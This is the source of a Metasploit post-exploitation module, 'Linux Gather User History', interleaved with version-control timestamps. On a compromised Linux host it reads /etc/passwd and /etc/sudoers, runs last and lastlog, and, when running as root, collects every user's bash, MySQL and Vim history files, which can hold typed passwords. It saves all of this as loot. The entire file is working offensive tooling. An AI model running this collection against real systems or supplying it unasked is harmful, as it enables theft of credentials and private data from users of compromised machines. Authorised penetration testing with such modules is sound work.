2012-03-14 16:44:03 +00:00
|
|
|
##
|
2013-10-15 19:52:12 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-03-14 16:44:03 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Linux::System
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Linux Gather User History',
|
|
|
|
'Description' => %q{
|
|
|
|
This module gathers user specific information.
|
|
|
|
User list, bash history, mysql history, vim history,
|
|
|
|
lastlog and sudoers.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
# based largely on get_bash_history function by Stephen Haywood
|
|
|
|
'ohdae <bindshell[at]live.com>'
|
|
|
|
],
|
2014-07-08 21:23:57 +00:00
|
|
|
'Platform' => ['linux'],
|
|
|
|
'SessionTypes' => ['shell', 'meterpreter']
|
2013-09-05 18:41:25 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
distro = get_sysinfo
|
|
|
|
|
|
|
|
print_good("Info:")
|
|
|
|
print_good("\t#{distro[:version]}")
|
|
|
|
print_good("\t#{distro[:kernel]}")
|
|
|
|
|
|
|
|
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
|
|
|
user = execute("/usr/bin/whoami")
|
|
|
|
|
|
|
|
mount = execute("/bin/mount -l")
|
|
|
|
get_bash_history(users, user)
|
|
|
|
get_sql_history(users, user)
|
|
|
|
get_vim_history(users, user)
|
|
|
|
last = execute("/usr/bin/last && /usr/bin/lastlog")
|
|
|
|
sudoers = cat_file("/etc/sudoers")
|
|
|
|
|
2014-07-08 21:51:39 +00:00
|
|
|
save("Last logs", last) unless last.nil?
|
|
|
|
save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def save(msg, data, ctype="text/plain")
|
|
|
|
ltype = "linux.enum.users"
|
|
|
|
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
|
|
|
print_status("#{msg} stored in #{loot.to_s}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_host
|
|
|
|
case session.type
|
|
|
|
when /meterpreter/
|
|
|
|
host = sysinfo["Computer"]
|
|
|
|
when /shell/
|
|
|
|
host = session.shell_command_token("hostname").chomp
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Running module against #{host}")
|
|
|
|
|
|
|
|
return host
|
|
|
|
end
|
|
|
|
|
|
|
|
def execute(cmd)
|
|
|
|
vprint_status("Execute: #{cmd}")
|
|
|
|
output = cmd_exec(cmd)
|
|
|
|
return output
|
|
|
|
end
|
|
|
|
|
|
|
|
def cat_file(filename)
|
|
|
|
vprint_status("Download: #{filename}")
|
|
|
|
output = read_file(filename)
|
|
|
|
return output
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_bash_history(users, user)
|
|
|
|
if user == "root" and users != nil
|
|
|
|
users = users.chomp.split()
|
|
|
|
users.each do |u|
|
|
|
|
if u == "root"
|
|
|
|
vprint_status("Extracting history for #{u}")
|
|
|
|
hist = cat_file("/root/.bash_history")
|
|
|
|
else
|
|
|
|
vprint_status("Extracting history for #{u}")
|
|
|
|
hist = cat_file("/home/#{u}/.bash_history")
|
|
|
|
end
|
|
|
|
|
2014-07-08 21:51:39 +00:00
|
|
|
save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
vprint_status("Extracting history for #{user}")
|
|
|
|
hist = cat_file("/home/#{user}/.bash_history")
|
|
|
|
vprint_status(hist)
|
2014-07-08 21:51:39 +00:00
|
|
|
save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_sql_history(users, user)
|
|
|
|
if user == "root" and users != nil
|
|
|
|
users = users.chomp.split()
|
|
|
|
users.each do |u|
|
|
|
|
if u == "root"
|
|
|
|
vprint_status("Extracting SQL history for #{u}")
|
|
|
|
sql_hist = cat_file("/root/.mysql_history")
|
|
|
|
else
|
|
|
|
vprint_status("Extracting SQL history for #{u}")
|
|
|
|
sql_hist = cat_file("/home/#{u}/.mysql_history")
|
|
|
|
end
|
|
|
|
|
2014-07-08 21:51:39 +00:00
|
|
|
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
vprint_status("Extracting SQL history for #{user}")
|
|
|
|
sql_hist = cat_file("/home/#{user}/.mysql_history")
|
2014-07-08 21:23:57 +00:00
|
|
|
vprint_status(sql_hist) if sql_hist
|
2014-07-08 21:51:39 +00:00
|
|
|
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_vim_history(users, user)
|
|
|
|
if user == "root" and users != nil
|
2014-07-08 21:23:57 +00:00
|
|
|
users = users.chomp.split
|
2013-09-05 18:41:25 +00:00
|
|
|
users.each do |u|
|
|
|
|
if u == "root"
|
|
|
|
vprint_status("Extracting VIM history for #{u}")
|
|
|
|
vim_hist = cat_file("/root/.viminfo")
|
|
|
|
else
|
|
|
|
vprint_status("Extracting VIM history for #{u}")
|
|
|
|
vim_hist = cat_file("/home/#{u}/.viminfo")
|
|
|
|
end
|
|
|
|
|
2014-07-08 21:51:39 +00:00
|
|
|
save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
vprint_status("Extracting history for #{user}")
|
|
|
|
vim_hist = cat_file("/home/#{user}/.viminfo")
|
|
|
|
vprint_status(vim_hist)
|
2014-07-08 21:51:39 +00:00
|
|
|
save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
end
|
2012-03-14 16:44:03 +00:00
|
|
|
end
|